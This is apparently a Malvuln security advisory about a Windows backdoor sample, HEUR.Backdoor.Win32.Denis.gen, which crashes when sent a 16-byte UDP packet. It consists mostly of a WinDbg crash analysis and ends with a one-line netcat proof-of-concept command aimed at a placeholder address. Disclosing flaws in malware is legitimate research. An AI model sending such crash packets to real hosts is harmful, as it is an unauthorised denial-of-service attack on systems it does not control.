HEUR.Backdoor.Win32.Denis.gen / Remote Denial of Service (UDP Datagram)

us malvuln (US) us
Risk: Low
Local: No
Remote: Yes

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/1a4d58e281103fea2a4ccbfab93f74d2.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: HEUR.Backdoor.Win32.Denis.gen Vulnerability: Remote Denial of Service (UDP Datagram) Description: The malware listens on UDP port 50530 and the last digit increments by one each time the malware is restarted e.g. 50531. Third-party attackers who can reach infected systems can send 16 byte UDP packet to trigger an access violation and crash. Type: PE32 MD5: 1a4d58e281103fea2a4ccbfab93f74d2 Vuln ID: MVID-2021-0395 Disclosure: 11/07/2021 Memory Dump: (ebc.15e4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=01003ff0 edx=0000415d esi=00000003 edi=00000003 eip=7770ed3c esp=00bbec44 ebp=00bbedd4 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:000> .ecxr eax=00bbf6a8 ebx=0000415d ecx=01003ff0 edx=0000415d esi=00000000 edi=00000000 eip=012020eb esp=00bbf584 ebp=00bbf5d0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** ERROR: Module load completed but symbols could not be loaded for HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb: 012020eb 8a0419 mov al,byte ptr [ecx+ebx] ds:002b:0100814d=?? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb 012020eb 8a0419 mov al,byte ptr [ecx+ebx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 012020eb (HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x000020eb) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 0100814d Attempt to read from address 0100814d DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 0100814d READ_ADDRESS: 0100814d FOLLOWUP_IP: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb 012020eb 8a0419 mov al,byte ptr [ecx+ebx] MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000015e4 PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ LAST_CONTROL_TRANSFER: from 01206b11 to 012020eb STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 00bbf5d0 01206b11 01003ff0 0000415d 01002fe8 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb 00bbf9c4 01206e25 01214b3c 01200000 00000000 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6b11 00bbfa58 77408654 00ceb000 77408630 db60d728 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6e25 00bbfa6c 77704a77 00ceb000 c59b8fff 00000000 kernel32!BaseThreadInitThunk+0x24 00bbfab4 77704a47 ffffffff 77729eb4 00000000 ntdll!__RtlUserThreadStart+0x2f 00bbfac4 00000000 01214b8f 00ceb000 00000000 ntdll!_RtlUserThreadStart+0x1b SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb FOLLOWUP_NAME: MachineOwner MODULE_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2 IMAGE_NAME: HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe DEBUG_FLR_IMAGE_TIMESTAMP: 502fe904 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe!Unknown BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb Exploit/PoC: python -c "print('A'*16)" | nc64.exe x.x.x.x -u -c 50531 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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